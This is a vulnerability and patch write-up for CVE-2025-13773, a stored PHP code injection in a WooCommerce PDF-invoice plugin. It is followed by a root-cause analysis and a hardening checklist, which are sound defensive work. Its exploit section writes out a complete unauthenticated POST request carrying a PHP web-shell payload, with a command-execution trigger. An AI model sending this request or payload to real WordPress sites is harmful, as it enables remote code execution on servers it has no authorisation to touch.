The Exploit
An unauthenticated attacker with no prior account access can inject arbitrary PHP code into a PDF invoice that executes on the server during generation. The vulnerability chain requires three conditions: missing authentication checks on the invoice update endpoint, PHP execution enabled in the Dompdf renderer, and unescaped user input flowing into the template.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
action=wcdn_update_document_setting&document_setting[document_title]=Invoice&document_setting[header_image]=<?php system($_GET['cmd']); ?>&document_setting[header_text]=Test&document_setting[footer_text]=Footer&document_setting[company_name]=Company&document_setting[company_address]=Address&document_setting[company_phone]=123
When this request lands, the attacker observes a 200 OK response with settings stored in the WordPress options table. The next time any user or the admin generates an invoice PDF, the injected PHP code <?php system($_GET['cmd']); ?> is rendered into the HTML template, passed to Dompdf with isPhpEnabled set to true, and executed server-side with WordPress execution context. By visiting the generated PDF with ?cmd=id, the attacker executes arbitrary system commands.
This is Stored Code Injection with a deferred execution trigger: the payload persists in wp_options, and fires whenever the PDF generation function calls Dompdf.
What the Patch Did
Before
// wcdn-front-function.php line 37
$options->set( 'isPhpEnabled', true );
// templates/pdf/simple/invoice/template.php line 39
<h1 style="<?php echo $style; // phpcs:ignore ?>">
After
// wcdn-front-function.php line 37
$options->set( 'isPhpEnabled', false );
// templates/pdf/simple/invoice/template.php line 39
<h1 style="<?php echo esc_attr( $style ); // phpcs:ignore ?>">
The patch adds two security controls. First, it disables PHP code execution within Dompdf by setting isPhpEnabled to false, removing the interpreter that would have executed injected <?php ?> blocks. Second, it wraps all instances of the $style variable (constructed from user-controlled document_setting, company_name, company_address, billing_address, and shipping_address fields) with esc_attr(), which escapes the value for safe HTML attribute context—converting dangerous characters like <, >, ", and ' into HTML entities so they are rendered as text, not parsed as code.
Root Cause
CWE-94 (Code Injection) + CWE-79 (Cross-Site Scripting)
The vulnerability flows from three gaps. (1) The wcdn_update_document_setting AJAX action handler (WooCommerce_Delivery_Notes::update()) lacks a current_user_can() capability check, allowing unauthenticated POST requests to write to wp_options. (2) The document_setting array values come directly from $_POST with no input sanitization, carrying arbitrary attacker strings into the options table. (3) During PDF rendering, these unsanitized strings are injected into the template HTML and passed to Dompdf. With isPhpEnabled set to true, Dompdf interprets <?php ?> tags and executes them as code. Even without PHP injection, the unescaped style attributes create a secondary XSS vector if the PDF is opened in a context where JavaScript runs (though PDF-specific attack surface is lower). The attacker's input crosses the trust boundary from untrusted request → trusted options storage → trusted code execution, unchecked at every step.
Why It Works
The load-bearing line is $options->set( 'isPhpEnabled', false );. If you removed it and left only the esc_attr() escaping, the exploit still works: an attacker injects system($_GET['cmd']) in the style attribute, and Dompdf executes it as PHP code because the interpreter is enabled. Conversely, if you disable PHP in Dompdf but leave $style unescaped, stored XSS remains exploitable in any viewer that parses the generated PDF's embedded HTML or in scenarios where the PDF is converted to HTML for preview.
The engineer added esc_attr() on every style-injection site (lines 39, 53, 60, 77, 116, and more) because defence-in-depth is essential: disabling the PHP interpreter removes the code-execution path, but escaping removes the injection path, ensuring that even if PHP execution is re-enabled in the future (or in a misconfigured deployment), the payload is rendered as text, not code. This layered approach prevents both the immediate RCE and the secondary XSS surface.
Hardening Checklist
-
Add capability checks to all AJAX handlers. Use
current_user_can( 'manage_options' )(or a custom capability) at the top of everyadd_action( 'wp_ajax_...', $callback )handler; considercurrent_user_can( 'edit_posts' )for user-facing features. Verify the check fires before any data is written or modified. -
Sanitize and validate all option values. Wrap
$_POST/$_REQUESTvalues withsanitize_text_field()for plain text,wp_kses_post()for HTML, orabsint()for integers before storing inupdate_option(). Never trust user input, even from authenticated users. -
Escape output context-aware, not globally. Use
esc_attr()for HTML attributes,esc_html()for text nodes,esc_url()for href/src, andwp_kses_post()only when HTML is intentional. Do not use a single "generic" escape function for all contexts. -
Disable dangerous features in third-party libraries. Audit all configuration passed to Dompdf, mPDF, wkhtmltopdf, and similar renderers; set
isPhpEnabled,isRemoteEnabled,isFileAccessEnabledtofalseby default unless proven safe. Document why each is enabled. -
Scan template files for unescaped variables during code review. Grep for
echo $,echo array access, andphpcs:ignorecomments; treat each as a potential sink and verify the variable is escaped or generated internally, not from user input.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13773